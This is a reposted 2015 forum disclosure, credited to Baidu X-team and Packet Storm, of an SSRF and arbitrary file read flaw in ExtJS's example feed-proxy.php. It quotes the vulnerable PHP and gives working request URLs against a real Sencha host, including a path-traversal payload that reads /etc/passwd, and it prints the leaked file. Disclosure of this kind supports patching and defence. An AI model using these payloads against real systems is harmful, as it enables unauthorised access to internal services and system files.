KhiZaRix Posted May 27, 2015 Report Posted May 27, 2015 Hi all??Baidu Security Team found a vulnerability in extjs,with this vulnerability we can read arbitrary file and request internal http servicesFile: /examples/feed-viewer/feed-proxy.php line:3-line:6$feed = $_REQUEST['feed'];if($feed != '' && strpos($feed, 'http') === 0){ header('Content-Type: text/xml'); $xml = file_get_contents($feed);When we request like this urlhttp://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http://10.1.1.1if the resource exist,we can get internal http services info??strpos($feed, 'http') === 0?? we can request this url to bypass the restrictions achieve arbitrary file readhttp://dev.sencha.com/extjs/5.0.0/examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwdview the HTML source coderoot:x:0:0:Web-useast4 root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:Web-useast4 www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shsyslog:x:101:103::/home/syslog:/bin/falsemessagebus:x:102:105::/var/run/dbus:/bin/falselandscape:x:103:108::/var/lib/landscape:/bin/falsesshd:x:104:65534::/var/run/sshd:/usr/sbin/nologinubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashntp:x:105:111::/home/ntp:/bin/falsesnmp:x:106:112::/var/lib/snmp:/bin/falsestatd:x:107:65534::/var/lib/nfs:/bin/falsepostfix:x:108:114::/var/spool/postfix:/bin/falseSubmitter: zhanghao@Baidu X-team gaojianfeng@Baidu X-team shitong@Baidu X-team________________________________Id:YasengHi: HisengbergTeam: Baidu X-teamE-mail:gaojianfeng@baidu.com<mailto:gedongyu@baidu.com>[tips]Source: http://dl.packetstormsecurity.net/1505-exploits/extjs-disclose.txt Quote